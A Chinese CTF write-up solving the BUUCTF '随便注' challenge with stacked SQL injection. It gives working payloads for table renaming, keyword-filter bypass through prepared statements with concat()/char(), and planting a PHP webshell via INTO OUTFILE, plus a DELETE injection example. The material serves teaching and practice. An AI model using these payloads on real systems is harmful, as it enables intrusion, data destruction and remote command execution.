BUUCTF-Web-隨便注(三種解題思路)

知識點:SQL注入-堆疊注入,sql預處理語句,巧用contact()函數繞過

堆疊注入原理:

在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在分號(;)結束一個sql語句後繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合併在一起,兩者之間有什麼區別麼?區別就在於union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。
用戶輸入:1; DELETE FROM products
服務器端生成的sql語句爲:(因未對輸入的參數進行過濾)Select * from products where productid=1;DELETE FROM products
當執行查詢後,第一條顯示查詢信息,第二條則將整個表進行刪除

方法一:重命名+堆疊注入

打開題目,顯示如下界面,觀察後猜測是sql注入


0x01:判斷是否存在注入,注入是字符型還是數字型
輸入1'發現不回顯
輸入1' #顯示正常
應該是存在sql注入了

輸入1' or '1'='1,正常回顯,應該是字符型


0x02:猜解SQL查詢語句中的字段數
輸入1' order by 1 # 成功回顯

輸入1' order by 2 # 成功回顯

輸入1' order by 3 # 回顯錯誤
[圖片上傳失敗...(image-2ea278-1567002658869)]
所以只有兩個字段
0x03:顯示字段
輸入1′ union select 1,2 # 回顯一個正則過濾規則

過濾了 select,update,delete,drop,insert,where 和 點

過濾了這麼多詞,是不是有堆疊注入?嘗試堆疊注入
0x04:查詢數據庫
輸入1';show databases;# 成功回顯


說明存在堆疊注入
0x05:查詢表
輸入1';show tables;# 成功回顯

得到兩個表words1919810931114514
0x06:查詢表中字段
坑點:mysql中點引號( ' )和反勾號( ` )的區別

linux下不區分,windows下區分
區別:
單引號( ' )或雙引號主要用於字符串的引用符號
eg:mysql> SELECT 'hello', "hello" ;

反勾號( ` )主要用於數據庫、表、索引、列和別名用的引用符是[Esc下面的鍵]
eg:`mysql>SELECT * FROM   `table`   WHERE `from` = 'abc' ;

輸入1'; show columns from `words`; # 字段使用的是反勾號( ` )


輸入1'; show columns from `1919810931114514`; # 字段使用的是反勾號( ` )


可以看到1919810931114514中有我們想要的flag字段
現在常規方法基本就結束了,要想獲得flag就必須來點騷姿勢了
因爲這裏有兩張表,回顯內容肯定是從word這張表中回顯的,那我們怎麼才能讓它回顯flag所在的表呢
內部查詢語句類似 :select id, data from word where id =

他既然沒過濾 alert 和 rename,那麼我們是不是可以把表改個名字,再給列改個名字呢。
先把 words 改名爲 words1,再把這個數字表改名爲 words,然後把新的 words 裏的 flag 列改爲 id (避免一開始無法查詢)。
payload:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#


接着輸入1' or '1'='1 #,查詢就得到flag

方法二:預處理語句+堆疊注入

預處理語句使用方式:

PREPARE name from '[my sql sequece]';   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE name;  //刪除預定義SQL語句

預定義語句也可以通過變量進行傳遞:

SET @tn = 'hahaha';  //存儲表名
SET @sql = concat('select * from ', @tn);  //存儲SQL語句
PREPARE name from @sql;   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla;  //刪除預定義SQL語句

本題即可利用char()方法將ASCII碼轉換爲SELECT字符串,接着利用concat()方法進行拼接獲得查詢的SQL語句,來繞過過濾或者直接使用concat()方法繞過

char()根據ASCII表返回給定整數值的字符值
eg:
mysql> SELECT CHAR(77,121,83,81,'76');
-> 'MySQL'

contact()函數用於將多個字符串連接成一個字符串
contact (str1,str2,…) 
eg:
mysql> SELECT CONCAT('My', 'S', 'QL');
-> 'MySQL'

char(115,101,108,101,99,116)<----->'select'
payload1:不使用變量
1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#
輸入payload1直接得到flag

payload2:使用變量
1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE jwt from @sql;EXECUTE jwt;#

輸入payload2直接得到flag


payload3:只是用contact(),不使用char()
1';PREPARE jwt from concat('s','elect', ' * from `1919810931114514` ');EXECUTE jwt;#

方法三:利用命令執行Getflag

查詢了一下用戶竟然是root

1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;

那麼寫個執行命令的shell吧(絕對路徑猜的,一般是服務器網站根目錄/var/www/html)

1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;

利用char(46)<==>.從而繞過關鍵詞.過濾

Mysql into outfile語句,可以方便導出表格的數據。同樣也可以生成某些文件。因此有些人會利用sql注入生成特定代碼的文件,然後執行這些文件。將會造成嚴重的後果。
Mysql into outfile 生成PHP文件
SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E into outfile '/var/www/html/fuck.php'
最後會在/var/www/html/路徑下, 生成fuck.php文件
這裏不走尋常路,執行打算利用我們的shell查詢flag(賬號密碼直接讀取首頁就可以看到)

利用一句話木馬執行任意mysql命令(雙引號中的內容會被當做shell命令執行然後結果再傳回來執行)
uroot:用戶名root proot:密碼root

/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"


參考
SQL注入-堆疊注入
SQL Injection8(堆疊注入)——強網杯2019隨便注
[Writeup]BUUCTF_Web_隨便注
MySQL的SQL預處理(Prepared)
利用Mysql into outfile給網站留後門
shell處理mysql增、刪、改、查

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章